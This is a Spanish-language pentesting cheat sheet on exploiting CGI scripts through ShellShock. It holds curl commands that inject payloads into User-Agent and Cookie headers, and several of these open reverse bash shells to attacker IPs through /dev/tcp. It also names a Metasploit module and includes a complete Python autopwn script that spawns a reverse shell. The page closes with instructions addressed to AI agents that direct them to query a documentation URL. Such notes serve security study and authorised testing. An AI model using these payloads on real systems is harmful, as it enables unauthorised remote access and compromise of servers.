# CGI

## ¿Qué es y cómo funciona?

Los cgi-bin son programas que se ejecutan en el servidor, pueden servir para tratar información, como pasarela con una aplicación o base de datos o para generar documentos html de forma automática.

Los CGI scripts son scripts escritos en perl, si se compromete un servidor que puede ejecutar .cgi, se puede subir una reverse shell de perl  `/usr/share/webshells/perl/perl-reverse-shell.pl` , también hay otra vuln muy conocida que es **ShellShock.**

## ShellShock

### Comprobar si es vuln

Para comprobar si es vulnerable antes de intentar explotarl con Nmap.

```
nmap --script http-shellshock --script-args uri=/cgi-bin/<script>.sh -p80 <IP>
```

**Comprobar si es vulnerable manualmente**

```
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```

## Explotarlo manual con curl

```
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
```

**Con Metasploit**

```
use multi/http/apache_mod_cgi_bash_env_exec
```

Con Python

```
python3 shellshock.py -u http://example.com -r /cgi-bin/time.sh -s -lh 10.10.14.6 -lp 443
```

{% embed url="<https://github.com/sergiovks/shellshock.py-and-referer-spoofing>" %}

## Autopwn shellshock.py

```python
#!/usr/bin/python3

from pwn import *
import requests, signal, sys, pdb, threading

def def_handler(sig, frame):
    print("\n\n[*] Saliendo...\n")
    sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)

main_url = "http://<IP>/cgi-bin/<file>"

def shellshock():
    headers = {
        'Cookie': "() { :;}; echo; /bin/bash -i >& /dev/tcp/localIP/lport 0>&1"
    }

    r = requests.get(main_url, headers=headers)
if __name__ == '__main__':

    shellshock()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/cgi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.